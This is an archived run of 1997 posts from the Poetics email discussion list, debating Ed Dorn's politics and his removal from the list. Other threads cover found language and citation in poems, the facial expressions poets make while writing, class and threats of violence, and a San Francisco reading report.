Surely you jest....the media in this country simply lies pretty much outright about most issues re social policy at home and imperial machinations abroad. Not because the lies are prescribed and required, a la the Stalinist systems, but because folks are hired to do the reporting who will actually believe the US government and not independent data. Most ordinary working-class people (the majority) don't have a source available against which to check the NYT, CNN etc. The much more recent and obscenely flagrant instance of Chile, most citizens don't in any meaningful sense "know about", altho' of course the facts are "right there" in the public sphere. The thing about the current forms of consciousness characteristic of our society, that's so peculiar, is that there is no direct relationship (at least in this country) between the formal availability of data and points-of-view, and their ability to make an impact on society. (something non-mainstream poetry people should be familiar with from other contexts!)

I love the word USAmericans, by the way!

mark prejsnar

On Sun, 23 Feb 1997, George Bowering wrote:

> *Mark Weiss's long message on Neruda and Stalinism in the USA was really interesting. Thanks for that.*
>
> *I am wondering, though: did USAmericans really believe that the overthrow of the government in Guatemala was somehow not done by the USA? I have never heard of anyone outside the USA that did not know that from the start.*
>
> *Oh, and if I remember rightly, Neruda helped the killers of Trotsky get out of Mexico, didnt he? Or am I mixing up a couple of things?*
>
> *George Bowering.*
>
> *,*
>
> *2499 West 37th Ave.,*
> *Vancouver, B.C.,*
> *Canada V6M 1P4*
>
> *fax:* [redacted]
> *e-mail:* [redacted]

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800. Alan Jen Sondheim
Please
Tue 25 Feb 1997

Please - I don't know if anyone was joking but the idea of keeping Dorn or anyone off this list vis-a-vis his or her politics is reprehensible, not funny as a joke.

I think it would be wise to disconinue these threads; they're getting a bit like witch-hunting. None of us are pure. For that matter the thread about Pound has already cycled through the list before.

I'd be interested in hearing more about the influx of women poets into the New York School. I think the same thing happened in film, Maya Deren etc. notwithstanding. There was a real shift in experimental cinema that opened the whole field (if it is such) to an entirely different form of content..

Alan

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801. **Pritchett,Pat**
Re: Onward
Tue 25 Feb 1997

Brava, Lisa.

I think we've beat the dead horse quite to death. Dorn's lesser sins - which I am not under any circumstances condoning, esp. with a brother who's HIV-positive - have been magnified here to assume the status of sacrificial scapegoat for the Sins of Poetry at large. A dubious notion, to be sure. The outrage Dorn's words provoke in us points at bottom toward a sense of betrayal many seem to feel - how could one of "our own" do this? I agree with Chomsky: writers and intellectuals do carry a greater responsibility to the community because of the nature of their work; their ability to discern, etc. And clearly Dorn has not lived up to this very well, at least not recently. But when I look at him at the front of the classroom (I'm taking Brit Lit 1 with him this semester) I don't see a monster at all. Rather, just another human being, somewhat muddled (the class has been a real disappointment to me). I like Lisa's Duncan quote. Keep the critical acumen baby - throw out the vindictive bathwater.

Patrick Pritchett

From: jarnot
To: POETICS
Subject: Onward
Date: Tuesday, February 25, 1997 9:41AM

I think it's very creepy that people are being kept off this list. I've actually found this whole discussion very disturbing. Aren't there more productive things to do in this forum than get involved with name calling, etc.? I mean really-- the "coke-induced froth from his evil lips"? I've been tired of this discussion since the idea of punching people out came up. It makes me think of something that Robert Duncan says about how you can't reject Mae West as vulgar or Hitler as the enemy because that potentiality exists in everybody. I thought the people on this list were progressive thinkers and writers-- if Dorn writes nasty crap it's because he wants a reaction like this-- he's succeeded in getting people to waste their time talking about him. yours, lisa jarnot

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802. **Jordan Davis**
question which will explain things
Tue 25 Feb 1997

What attitude -- no, what facial expression do you find yourself assuming when you begin to write a poem? when you are in the middle of writing a poem? when you are editing a poem?

Just curious,

Jordan

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803. **Sherry Brennan**
Spell check
Tue 25 Feb 1997

Thanks, Dean Taciuch, for the poem and the line - "and the time spent will be the poem." I have a question for whoever about using citation/found language. Probably because of my academic background I have a fear about using other people's language without spelling out what is quoted--even when I recombine the words rather than quote per se. So in the past I've usually specified when language was quoted. But I'm working on a long piece that incorporates language from Darwin and various gardening texts and find myself wanting to use the language without also specifying which words come from where. I'm not sure I understand why I want to do this, or what it means to the poem.

Is there a difference between using quotation marks or some other indicator of source and not indicating the source specifically but treating the words as found language? How does this work? I don't mean technically how it works, but what kind of difference does it make to the poem or the reader? the writer?

Just something I've been wondering about. Sherry

> *The call for spell-check and user dictionary files reminded me of a piece I was working on a few months ago (still not finished)-- a long poem called "rote" which is built from a 1930s speller. The speller itself simply lists words, from grade 2 through 8, but there is a sound patterning to them, based on similar spellings and words that might be confused by grade schoolers. I placed the words into lines and stanzas adding nothing but punctuation. I go back to it every once in a while, mostly to take out the punctuation I put in--not having worked with found material very often, I tended not to trust what I found. (Probably by next year I'll have worked it back to the original--just lists, that'll be it, and the time spent will be the poem.)*

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804. Steve Carll

S.F. Reading Report 2-23-97

Tue 25 Feb 1997

Los Angeles poets Paul Vangelisti (editor of _Ribot) and Martha Ronk (who, alas, doesn't yet have her own magazine) flew up to San Francisco for a reading at Canessa Park Gallery on Sunday. Host Avery E.D. Burns introduced the two poets together and they briefly read from their (relatively) recent Sun & Moon books _State of Mind_ (Ronk) and _Nemo_ (Vangelisti). Paul then left the table and let Martha carry on with selections from _Destiny in L.A._ (based on _The Tale of Genji_) and a new ms, _Run On_. After a break, Paul returned to read from a work whose name I got distracted while writing down and can't remember now. Sorry.

Some lines I picked up of Martha's were:

their eyes unnervingly swerved
I don't find you behind any eyes you open
I can stir the air
my powdered face nodding to the powdered moon
I'll catch the moon in the poisoned water of a silver bowl, and drink it down
the air came down to meet the paper
the night is the waking blank
as if knees were a causal principle for ground
superimposed is the statue alive with birds
things break under every stone
backed to the wall, you think what you mean will come out of your mouth

Paul's lines included:

I cheered villains and loved no one but God, who I suspected had gone out at 5.
angels are privileged in name only
are married angels especially misnamed?
space (noun)--1. see time
love is a closet turned off and on
traffic is looking up and down the stupid

There were commemorative cards made by John McBride and other printed poetry from each poet given to all the guests in attendance, who, for those keeping track (for social histories or to gather other impressions of the reading for posterity) included Leslie Scalapino, Brian Lucas, Aaron Shurin, George Albon, Fran Herndon, Benjamin Hollander, Mary Sullivan-Roark, Eric Selland, Candice (who was in the same class as Mary at Santa Cruz, but neither of them can remember which one), Barbara Guest, Mary Margaret Sloan, Spencer Selby, Norma Cole, Carol Snow, Stephen Ratcliffe, the aforementioned John McBride

and, I'm told, although I haven't yet been introduced to her personally, Fanny Howe.

****

[redacted] Steve Carll
http://writing.upenn.edu/epc/mags/antenym
http://writing.upenn.edu/epc/ezines/antenym

In seed-
sense
the sea stars you out, innermost, forever.

--Paul Celan
****

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805. **Joe Safdie**
Re: dorn, etcetera
Tue 25 Feb 1997

I agree with Ms. Jarnot -- once we get to "coke-induced froth from evil lips" we really have to step back for a while. Every so often there's glimmers of passionate intelligence regarding this topic, and then garbage. The thought of anyone censoring any presence on this list is repulsive.

Lots of people have written in to express their frustrations with this continuing topic. For any of us who know Ed it's been frustrating for other reasons, mainly for reasons of unjust character assassination. I knew and mourned Steve Abbott myself, Kevin; in fact, I was with him in the Dorns' kitchen eating breakfast one morning in about 1985, a very pleasant interlude before we both got back on the road to California from some "beat convocation" at Boulder. I assure Maria that there are a multitude of reasons to "hang around" this particular poet, and many, many things to be learned; I have to say that in twenty years of off-and-on friendship my Jewishness was never the occasion for any Jew-baiting, and that his provocative manner doesn't discriminate: he'll take on anyone or anything, but his only enemy is sanctimoniousness. We can talk about misanthropy, but any special pleader is out of luck. I'm sorry he's offended some of you, but I also think that thin skin is seldom a virtue and can often lead to virulent misunderstandings, as evidenced by some of these postings.

Let me close by quoting an early essay by Ed, "A Cup of Coffee," collected in _Views_ from Four Seasons Press in San Francisco, 1980. It dates from the same time as a letter quoted earlier on this list, but has the virtue of being his own words and thoughts, not what someone else accused him of.

"Negroes, Mexicans, Indians, Whites don't seem awfully special. It is just that, black brown white, divisions, not complex, subject to broad and crude considerations only. A god-damn cup of stinking coffee at Walgreens. Pew! I am ashamed that my brothers get stopped because of their color or the way they dress. It seems simply correct that Mississippi and Alabama and South Africa be occupied. If it were my decision, those places and a few others would be occupied tomorrow. Talk IS cheap. Talk about 'human rights' is particularly cheap. Rights have nothing to do with general colors, shapes of eyes or forms of noses. Never. Anyone might be in danger, or might be safe, but that will be determined by the incredible meanness with which America handles its people, always has handled them. The ethic is behavioral. I am a poet. It seems to me a point of honor and deep responsibility that I not number among my friends a cop, or a doctor or lawyer, or a President of the United States, or the head of an insane asylum, or a gangster. Or anyone who thinks Negroes should stay in their place and be lynched. In the meantime, how I take any given man will be my own affair, always subject to more critical factors, how he carries his body, the cast of his eyes, the tone and cadence of his voice. Race IS an exotic recognition, mostly visual, and always a momentary interest."

Joe Safdie

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806. Christopher Alexander
Re: question which will explain things
Tue 25 Feb 1997

> What attitude -- no, what facial expression do you find yourself assuming
> when you begin to write a poem? when you are in the middle of writing a
> poem? when you are editing a poem?
probably just sort of a stern looking. no, videotaped evidently
reveals I'm about to punch someone in the nose. mumbling or
something. let's watching one now. here I am at taco bell,
copying the menu onto notecards. I'd like "not gonna pay a lot
for this muffle." hey. wait your turn.

ok, your turn.
..
christopher alexander, etc.
[redacted]
(Marriott Library Computer Systems)

language code not found. illegal operation error.
this program will shut down, & all unsaved data will be
lost. if problem persists, consult your systems operator.

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807. **amato**
Re: dorn, etcetera
Tue 25 Feb 1997

joel k., i have to ask you this publicly: did you really prevent the dorns from subbing to poetics?...

that's a mistake i think---alan is right (he, uhm, beat me to the punch)...

but really now: we all know that poetics is a "private" list of sorts, but exclusion based, say, on verifiably hateful speech is just not, in my view, the right thing to do...

let me put it this way: if a neonazi poet wants to participate around here, that's OK with me... let me be clear: i despise neonazis, as i'm sure do the rest of you... now when said poet contributes in a way that reveals neonazi predisposition, why then we can, each of us to our liking, publicly correct said predisposition, or attempt to... i might argue, in another context, that this is our *obligation*... in any case, i have *faith* in our combined capacity, as a list of caring human beings, to generate the right moral-ethical-political response collectively... i doubt sincerely that permitting such an individual into these spaces will "corrupt" what i take to be the goodwill of the list in general... and in fact if i thought that the poetics folks, whatever our individual differences, were not collectively of good conscience, i wouldn't be here mself... and if i saw some "us" leaning in obviously hateful directions, i would in any case speak out, immediately, to that effect...

reconsider, please...

all best,

joe

↑ Index

808. **amato**
Re: dorn deletion
Tue 25 Feb 1997

and to say that i'm with lisa and kent too, on this matter of deleting the dorns...

joe

↑ Index

809. **Steven Marks**

Re: question which will explain things

Tue 25 Feb 1997

On Tue, 25 Feb 1997, Jordan Davis wrote:

> What attitude -- no, what facial expression do you find yourself assuming
> when you begin to write a poem? when you are in the middle of writing a
> poem? when you are editing a poem?
>

I find that I use a number of facial expressions since I write while standing or pacing about my room. It's almost as if I am "acting" the lines. At times, I hear the cadence first and I mumble that to myself and then try to find the words that fit. Imagine a conductor walking among the musicians. That's what I look like.

_____

Steven Marks

http://members.aol.com/swmarks/welcome.html

_____

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810. **Ian Wilson**

Re: question which will explain things

Tue 25 Feb 1997

In both situations -- and I've had someone in the room videotaping to confirm this -- my expression exactly matches Blake's death face.

IR Wilson

_____ Reply Separator _____
Subject: question which will explain things
Author: UB Poetics discussion group <[redacted]> at Internet
Date: 2/25/97 11:38 AM

What attitude -- no, what facial expression do you find yourself assuming when you begin to write a poem? when you are in the middle of writing a poem? when you are editing a poem?

Just curious,

Jordan

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811. **Mark Prejsnar**
Re: Onward
Tue 25 Feb 1997

I think it's fine to move on, alright....But contrary to the fashionable dissing that's going on, lots of folks who posted on this should be commended--A very large percentage of 'em really weren't primarily interested in character-attacks on Dorn or others--just trying to work out some tangled problems, that are very real, about what it means to seriously believe that social values & politix have something to do with poetry.

mark p.

On Tue, 25 Feb 1997, Pritchett,Pat @Silverplume wrote:

> *Brava, Lisa.*
>
> *I think we've beat the dead horse quite to death. Dorn's lesser sins - which I am not under any circumstances condoning, esp. with a brother who's HIV-positive - have been magnified here to assume the status of sacrificial scapegoat for the Sins of Poetry at large. A dubious notion, to be sure. The outrage Dorn's words provoke in us points at bottom toward a sense of betrayal many seem to feel - how could one of "our own" do this? I agree with Chomsky: writers and intellectuals do carry a greater responsibility to the community because of the nature of their work; their ability to discern, etc. And clearly Dorn has not lived up to this very well, at least not recently. But when I look at him at the front of the classroom (I'm taking Brit Lit 1 with him this semester) I don't see a monster at all. Rather, just another human being, somewhat muddled (the class has been a real disappointment to me). I like Lisa's Duncan quote. Keep the critical acumen baby - throw out the vindictive bathwater.*
>
> *Patrick Pritchett*
> ---
> *From: jarnot*
> *To: POETICS*
> *Subject: Onward*
> *Date: Tuesday, February 25, 1997 9:41AM*
>
> *I think it's very creepy that people are being kept off this list. I've actually found this whole discussion very disturbing. Aren't there more productive things to do in this forum than get involved with name calling, etc.? I mean really-- the "coke-induced froth from his evil lips"? I've been tired of this discussion since the idea of punching people out came up. It makes me think of something that Robert Duncan says about how you can't reject Mae West as vulgar or Hitler as the enemy because that*

> *potentiality exists in everybody. I thought the people on this list were progressive thinkers and writers-- if Dorn writes nasty crap it's because he wants a reaction like this-- he's succeeded in getting people to waste their time talking about him. yours, lisa jarnot*

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812. **Christopher Alexander**

Re: Spell check

Tue 25 Feb 1997

---

sherry wrtt:
> Is there a difference between using quotation marks or some other indicator
> of source and not indicating the source specifically but treating the words
> as found language? How does this work? I don't mean technically how it
> works, but what kind of difference does it make to the poem or the reader?
> the writer?
its an interesting question, sherry. most of my material comes
from other (known) sources--ie, others' speech, books, my own
speech or wrtg done at times other than the wrtg of the poem--
& occurs with varying degrees of intervention, from verbatim
to a radically altered state. but my treatment of that material
has apparently been the opposite of yours, i.e. ive never cited
anything except the epigraph to a book--& even thats about to
go by the wayside i think. suppose this treatment because it
seems to me that all utterance comes from elsewhere--that even
when i speak in my own name etc. so that my wrtg from other
sources could almost be said to b
for the manner in which the self is assembled.

ive thought some about why people do cite. in the context of academic work it seems to be at times a kind of mooring, either for the argument (auctores etc) or the article (situating itself via the conventions of a larger discourse)--but also just a way of saying read these books. of course theres the plaigarism thing--a sort of enforced/accepted practical division. in poetry it probably sometimes has to do with establishing/maintaining/ respecting discreet personal identity, others with a desire to make evident for political/critical/philosophical reasons an interaction with certain specific texts--ie "this is a critique [or extension or appreciation or "reading"] of darwins [tennysons burkes]" etc. as to how that effects the reader might be something "oh i wonder how this relates to". wouldnt say its an apparatus external to the poem in any case, but there can be a variety of possible situations aimed at with any one device.

im curious to see how others approach this issue.

chris
..
christopher alexander, etc.
[redacted]
(Marriott Library Computer Systems)

language code not found. illegal operation error.
this program will shut down, & all unsaved data will be
lost. if problem persists, consult your systems operator.

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813. Alan Jen Sondheim
Re: dorn, etcetera
Tue 25 Feb 1997

On Cybermind etc. we've had a policy (which we - Michael Current and I) agreed on in the beginning, to delete anyone promoting racial/gender/ religious slurring on the list. That is, if someone came on with the purpose of espousing slurs. Beyond that, it's not our business what any- one believes; there are some far right folk, far left folk, etc., and that's fine. I would never ever delete anyone based on knowledge of their beliefs; that's out of the question.

As a footnote, you might know that there have been groups similar to alt.tacti- cal.strategy that "attack" email lists with the purport of bringing them down, derailing them. As an aol list owner, I have add- resses (which are accurate; I've seen these people in action), and these have had to be added to the site ban slot on listserv. But that's the extent of it.

Alan

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814. Don Cheney
Re: question which will explain things
Tue 25 Feb 1997

> *What attitude -- no, what facial expression do you find yourself assuming when you begin to write a poem? when you are in the middle of writing a poem? when you are editing a poem?*
> *Just curious,*
> *Jordan*

okay, now we're talking STUFF! i think (because i've never looked) that when i begin to write a poem my eyes do most of the talking. i hope that my tongue moves around between my lips like i've seen kids do when they're trying to

concentrate on their writing or maybe just like some cats i've seen where the tongue just stays there, slightly poking out.

when i'm in the middle of writing a poem my ears do most of the talking. And when i'm talking my talking does most of the writing. see Lisa Douglass ("I hates speech").

when i'm eating a poem my mouth does most of the talking, though i'm hard to understand--thus the seeming opaqueness of some of my poems.

Jordan, i love your questions. they're kinda like that episode of NIGHT STAND WITH DICK DIETRICK (which is a parody of daytime talk shows) where Dick shows his camping video where he mistakes a cocker spaniel puppy for a bear cub. when the video ends his guest says "Dick! Don't you know the difference between a bear cub and a cocker spaniel!" and dick says "No. but i love these! what IS the difference between a bear cub and a cocker spaniel?" and the guest starts crying and then says "My mother was killed by a bear!" To which dick, looking puzzled, asks, "that's the punch line?"

that's the punch line,
don cheney

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815. David Israel
found [e]-poetry
Tue 25 Feb 1997

INTRA-OFFICE EMAIL brings this little sonnet
(orig. words verbatim w/ linebreaks + title added):

/ / / /

It Only Takes A Moment

Just as a reminder, please be
conscientious when using
supplies and/or machinery
in the copy rooms.

I have just spent the last 25
minutes removing a very lovely
Jackson Pollock-esque creation
from the doors, walls, floors

and cabinets of copyroom 1,
because someone failed to screw
the cap back on a bottle of
white-out. :::grumbling:::

It only takes a moment
to put things back in order.

// orig. text-author initials C.D.
dated 11/25/97 11:30 a.m. //

(comment: only lucky it wasn't a cross between
J. Pollack & the Michelangelo of the S. Chapel)

happy birthday m.
-d.i. (in Wash. DC)

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816. **dbkk**
Re: dorn, etcetera
Tue 25 Feb 1997

At 9:10 AM -0800 2/25/97, Joe Safdie wrote:

> *Let me close by quoting an early essay by Ed, "A Cup of Coffee," collected in _Views_ from Four Seasons Press in San Francisco, 1980. It dates from the same time as a letter quoted earlier on this list, but has the virtue of being his own words and thoughts, not what someone else accused him of.*
>
> *" In the meantime, how I take any given man will be my own affair, always subject to more critical factors, how he carries his body, the cast of his eyes, the tone and cadence of his voice.*

A rather homoerotic passage, don't you think? I'd love to know what Dorn's criteria are for acceptable male body language.

Dodie

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817. **Matthias Regan**
threat of violence: what it means to "kick ass"
Tue 25 Feb 1997

At 10:47 AM 2/25/97 EST, [redacted] wrote:
>Mark:
>
>YOU should have kicked HIS ass!
>
>No wait, I am being rash. Here comes a rare movement of clarity . . .

I have to say I somewhat disagree with db's interpretation of possible outcomes to Mark's situation (though, db, I imagine from your tone that you are a little tongueincheek), largely because I don't believe the popular ideologies of

auto repair shops being nec. messy and blue collar workers having a nod and wink, free merchandise relationship with the "blue collar" cops.

But I do like the continuation of the discussion along lines of "speech genres":

> *In the lingo of the neighborhood I grew up in, when we discussed "power moves of respective social classes," etc. etc., you got "psyched out."*

Which continues one of Mark's points, namely that:

> *We were both doing the same thing, but in different languages. In my language Sal's provocation was to be taken more seriously than intended, as was mine in Sal's language. But they were both just power moves.*

Two different classes making the same point at each other: and the languages are both saying the same thing and, as Mark points out later, entirely different things as well:

> *Afterwards I reflected that I wasn't sure who was being more violent. I was threatened with a bloody nose. Sal was threatened with jail and loss of livelihood.*

I wanted only to point out how this story about a dialogue between classes beautifully points out the complexity of the interaction between language and the world. One the one hand the two languages meet as the individuals meet: the different speech genres are understand, translated in the immediate context: both people know what the other is getting at: "I really want you to install this thing for free." "I really don't want to." But on the other hand, the speech genres are mired in and drag with them their specific (according to class) social heteroglossia: the threat of a punch in the nose could actually become a punch in the nose, the threat of calling the cops could actually become a phone call. And here the utterances diverge wildly. So in this way language carried within it not only a model for looking at group interaction (played out in a mutual reinforcing of class in a manner similar to Satre's discussion in the _Critique_ of how different economic/social classes gain their self-identification by identifiying other classes), but ALSO a model for how language may be seen not merely as an abstract system of signifier/signified, as a structural or textual system of analysis, but also as the pathway of interaction between that abstract system and the material consequences in the concrete, daily history of the world.

With this in mind, it is worth looking at the change in view effected by Michael Boughn in a neighbor thread when he charges the discussion as being not about "poetry" and politics, but about "personality" and politics. What effect does this change have on the proceeding material?

In haste,
Matthias

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818. Maria Damon
Re: dorn deletion
Tue 25 Feb 1997

i assumed this dorn/list thing was a joke, cuz of the analogy to hitler, which no one, in my memory of the discussion, invoked.

At 10:42 AM +0600 2/25/97, KENT JOHNSON wrote:
>> Date sent: Tue, 25 Feb 1997 09:33:58 -0500
>> Send reply to: UB Poetics discussion group
>><[redacted]>
>> From: Joel Kuszai <[redacted]>
>> Subject: Re: dorn, etcetera
>> To: [redacted]
>
>On Tues, 25 Feb, Joel Kuszai wrote:
>>
>> As far as Mr. Northcutt's comment above: Ed & Jennifer Dorn tried to sign
>> up to Poetics list several times. I deleted them like I would have Hitler,
>> but to no avail, they kept re-subbing. Eventually, I let them pass
>> through, with my finger on the "delete" key, I waited expectantly for some
>> coke-induced froth from his evil lips--did he ever post? A search of the
>> archives would reveal. As far as I know, they remained on this list until
>> recently...
>
>Is this a joke? That Ed and Jennifer Dorn tried to subscribe to the
>list and were repeatedly censored out? If so, I'd suggest this
>discussion that people are "getting tired of" has acquired a new
>sense of urgency! Holy cow.
>
>Kent
>
>Kent>

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819. Christina Fairbank Chirot
Re: Onward/censorship
Tue 25 Feb 1997

Many thanks to Lisa Jarnot and Maxine Chernoff for their letters. The spectre of censorship and violence being raised is disturbing--encountered a

few times--back in late Sixties running a mimeo zine in basement banned by high school and attacked for a week by Manchester Union Leader on front page for a week--(only to be called by Library of Congress wanting a copy--)--and in Seventies doing book reviews for Gay Community News in Boston--an editor was killed--and the premises looted then fire bombed-- Being told at restaurants half empty there were no seats for my first wife and I--(no dirty half and mixed breeds allowed) had a strange kind of halfwaking dream--with voice over by Nicholas Cage--in the manner in which he narrates his dreams in the film Raising Arizona--and what would future biographers do--with the letters of the gentle religious poet who threated violence--and the poet who taped a critic and threatened its use in a debate--would these be taken out of the bio?--and onward the voice moved through many a time and place and came to that accused cleric killer and college robber M. Francois Villon--what to do with him?--who wrote these lines:

> I never work and yet I go all out
> To acquire wealth which I don't want,
> Who speaks most kindly irritates me most,
> Most truthfully will lie to me the most,
> The person is my friend who makes me think
> That a white swan is a black crow,
> He who harms me thinks he helps me out,
> Falsehood, truth, to me they're both the same,
> I remember all things and can't conceive of one,
> Warmly welcomed, rebuffed by everyone.

(from "Ballade" in The Poems of Francois Villon french and english edition Translation and introduction by Galway Kinnell. NY: Signet Classic, 1965: 185-7) This world is one of violence and censorship. To be opposed to this--does it make sense to threaten these? The two go hand in hand.
A few years ago, in a weekly group for dealing with violence at the Spanish Center, there was a man who spoke constantly of his missing younger brother--vanished by then for two years. One day the young man came in in complete shock. Jeffrey Dahmer had identified the young man's brother as one of his vicitims. As proof he gave the police the skull with wired jaw intact--and not a tooth missing. And all day long that silenced mouth screamed in the streets of Milwaukee--from the living mouth of the younger brother. --dbchirot

On Tue, 25 Feb 1997 [redacted] wrote:

> *in response to joel kuszai's post:*
>
> *"As far as Mr. Northcutt's comment above: Ed & Jennifer Dorn tried to sign up to Poetics list several times. I deleted them like I would have Hitler, but to no avail, they kept re-subbing. Eventually, I let them pass*

> *through, with my finger on the "delete" key, I waited expectantly for some coke-induced froth from his evil lips--did he ever post? A search of the archives would reveal. As far as I know, they remained on this list until recently..."*
>
> *I think it's very creepy that people are being kept off this list. I've actually found this whole discussion very disturbing. Aren't there more productive things to do in this forum than get involved with name calling, etc.? I mean really-- the "coke-induced froth from his evil lips"? I've been tired of this discussion since the idea of punching people out came up. It makes me think of something that Robert Duncan says about how you can't reject Mae West as vulgar or Hitler as the enemy because that potentiality exists in everybody. I thought the people on this list were progressive thinkers and writers-- if Dorn writes nasty crap it's because he wants a reaction like this-- he's succeeded in getting people to waste their time talking about him. yours, lisa jarnot*

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820. **Mark Weiss**

Re: violence and the threat of violence

Tue 25 Feb 1997

I thought I was writing about the social meanings of behaviors and how they can be misinterpreted. Who "won" is rather beside the point. But I'm macho enough to set the record straight. Crazy Eddie's was a chain of discount houses, not a person. The garage was in fact an outside contractor. I could have used the phone. Sal was there using the facilities to fix his own car on his own time because he was a friend of the establishment, not as a perc. I was bigger than him. If he'd thrown a punch I could have insisted on his arrest--that's the law. I know this for a fact: I've seen it happen, and I've had to bail people out that it's happened to. The police might have tried to dissuade me from filing charges, but they couldn't have stopped me. And arrest probably would have resulted in firing. I have been known to use violence effectively and without reflection when my safety or the safety of others required. I also didn't think that I stood a chance with the bureaucracy of that particular establishment. And it was still a pretty good price for a stereo that now lives in my truck, having survived two cars. I was raised on the same streets that Sal was, and by the same rules. But those are the rules of children and adolescents. We were two guys in our late thirties; I had the option to change the rules. I don't care in the slightest what Sal made of all this, nor do I understand why I should. There is the question of cost-effectiveness. Predators often pass up prey because, although they could take the beast, the risk of even minor injury is too great--being off-peak can mean certain death. That factor is always in play. But humans, with our long

memories, make other calculation. What would I have gained? "The expense of passion in a waste of shame," as the man said, "is death in life." What jungle do you live in?

At 10:47 AM 2/25/97 EST, you wrote:
>Mark:
>
>YOU should have kicked HIS ass!
>
>No wait, I am being rash. Here comes a rare movement of clarity . . .
>
>In the lingo of the neighborhood I grew up in, when we discussed "power moves
>of respective social classes," etc. etc., you got "psyched out." A psych-out
>is a line in the sand (in the desert of intimidation) which the loser won't
>cross. It's my bet that that line is (or was) policy at Crazy Eddie's. In
>fact, if you had crossed just two more lines in that office you may have got
>what you wanted. A threat to call the police may work in some arenas, but
>here you were misplaying your cards. (How many metahpor-cliches can I go?)
>
>Actually, if you HAD called the police, 1) you would have had to leave the
>office-- you could hardly say, "oh shoot, Crazy Eddie, can I borrow your phone
>to call the cops on you?" and the game would have changed while you were gone,
>and 2) the cops probably would have arrested YOU for causing a disturbance.
>While you were sitting in the cruiser you would have seen Officer McGruff
>admiring your recent purchase and Eddie handing it to him for his own as a
>token of goodwill. No, the cops would have been no use to you there and
>therefore your threat was no good.
>
>Those offices--or shops, whatever-- are usually pretty messy. Now, I don't know
>if you would have been capable of kicking this guy's ass or anybody's ass for
>that matter, or not. From the tone of your posts you seem like a peaceful guy,
>not the ass-kicking type. But like I say, those offices are pretty messy and
>what you lack in violent behavior or ill-will you can make up for in brief
>spasms of psychotic tendencies; say, grabbing a broom, a crow bar, or one of
>those little gum ball or pistachio dispensers, and slamming it down on the
>man's desk as furiously as possible while screaming, "I'm not going to pay a
>lot for this muffler."
>
>You needn't worry about Crazy Eddie-- or whatever the hell the guy's name

is--
>attacking you because it was never his intention in the first place. They
>probably contract out work like that-- have someone else kick your ass in a
>7-11 lot somewhere and then steal the radio back when they're done or
>something. This guy is a businessman after all, he can't spend the rest of the
>day selling stolen car parts and dealing with customers with your teeth
>sticking out of his knuckles and your blood all over his shirt.
>
>Anyway, I noticed in your post a big void: you say both of you went to your
>respective corners to reflect but it seems only you did. The other guy was
>probably figuring out what kind of time he was going to be set back by dealing
>with you. Ultimately, it would have been more "dishonorable" to let you get
>the better of him than it would be to appeal to a higher authority.
>
>What did happen anyway? If you paid for the installation, you got suckered. I
>mean that dispassionately and there's no other way to put it. And the
>rationalization you employed that cost you so much money greatly exagger-
ated
>your power in the situation, and greatly underestimated his. Did you really
>think you could have him arrested or fired? ho boy. . .
>
>in solidarity,
>
>
>[redacted]
>
>
>
>
>
>To: POETICS @ LISTSERV.ACSU.BUFFALO.EDU @ SMTPIN
>cc: (bcc: Daniel Bouchard/College/hmco)
>From: junction @ EARTHLINK.NET (Mark Weiss) @ SMTPIN
>Date: 02/24/97 09:54:20 AM
>Subject: violence and the threat of violence
>
>Years ago, when I still lived in Brooklyn, I bought a car stereo at Crazy
>Eddie's and took it to the mechanic who did their installations. He told me
>what the service would cost me, which was pretty hefty. I was more than a
>little annoyed. "But they told me at the store that installation was
>included," I told him.
>

>"It isn't, but you can take it up with Sal, the guy fixing his car over
>there. He's the dapertment manager."
>
>So I went to talk to Sal, who got incredibly angry, and accused me of lying.
>"Wait a minute," I said, "I'm not accusing _you_ of anything. You weren't
>the salesman."
>
>"He works for me. You accuse him you gotta deal with me."
>
>Things went from bad to worse. Pretty soon I was threatening to talk to
>Sal's boss, and Sal was threatening to beat me up, to which I countered that
>if he did I'd call the police. There didn't seem to be any end in sight to
>the downward spiral.
>
>Then I was afflicted with a rare moment of clarity. I should have known
>better--I lived in the neighborhood. And I did social work with working
>class people every day. Sal didn't really want to beat me up, and I didn't
>really want to have him arrested or fired. We were invoking the power moves
>of our respective social classes. Sal was working class--he had not been
>raised with the assumption that he could appeal to higher authorities to do
>his dirty work for him, and he probably thought it dishonorable to do so. I
>was middle class--I had been raised to abhor violence and the threat of
>violence, but also to assume that I had the power to call in the troops.
>
>We were both doing the same thing, but in different languages. In my
>language Sal's provocation was to be taken more seriously than intended, as
>was mine in Sal's language. But they were both just power moves.
>
>This whole series of reflections took a lot less time than it takes to write
>about it. I realized that I was just venting: I would have to pay anyway.
>What was the point of the argument? Was my honor at stake? So I backed off,
>and we each went to our corners.
>
>Afterwards I reflected that I wasn't sure who was being more violent. I was
>threatened with a bloody nose. Sal was threatened with jail and loss of
>livelihood.
>
>

↑ Index

821. Eliza McGrand- CVA Guest
Re: question which will explain things
Tue 25 Feb 1997

---

personally, i find myself getting this completely blank, walled over expression. i'll blaze away, feel quite frantic if there is any time pressure on me to go somewhere else (there usually is), and when i get the last bit i can off, frequently find my hair sticking straight on end (espeically in the front) where my hands have pushed it back, my muscles (esp. back) hurt from being completely immobile, and it is at least forty-five minutes later than i thought...

same editing/ same working on already started poem/ same prose

i cannot KNOW what my expression is, because i can't see myself, but suspect from facial muscles that i look like an extra from Coma except my eyes are open. e

↑ Index

822. Mark Weiss
Re: Spell check
Tue 25 Feb 1997

Standard in such cases is a brief note at the head or after.

At 11:46 AM 2/25/97 -0500, you wrote:
>Thanks, Dean Taciuch, for the poem and the line - "and the time spent will
>be the poem." I have a question for whoever about using citation/found
>language. Probably because of my academic background I have a fear about
>using other people's language without spelling out what is quoted--even when
>I recombine the words rather than quote per se. So in the past I've usually
>specified when language was quoted. But I'm working on a long piece that
>incorporates language from Darwin and various gardening texts and find
>myself wanting to use the language without also specifying which words come
>from where. I'm not sure I understand why I want to do this, or what it
>means to the poem.
>
>Is there a difference between using quotation marks or some other indicator
>of source and not indicating the source specifically but treating the words
>as found language? How does this work? I don't mean technically how it
>works, but what kind of difference does it make to the poem or the reader?
>the writer?
>
>Just something I've been wondering about. Sherry
>

>>The call for spell-check and user dictionary files reminded me of a piece I
>>was working on a few months ago (still not finished)-- a long poem called
>>"rote" which is built from a 1930s speller. The speller itself simply
>>lists words, from grade 2 through 8, but there is a sound patterning to
>>them, based on similar spellings and words that might be confused by grade
>>schoolers. I placed the words into lines and stanzas adding nothing but
>>punctuation. I go back to it every once in a while, mostly to take out the
>>punctuation I put in--not having worked with found material very often, I
>>tended not to trust what I found. (Probably by next year I'll have worked
>>it back to the original--just lists, that'll be it, and the time spent will
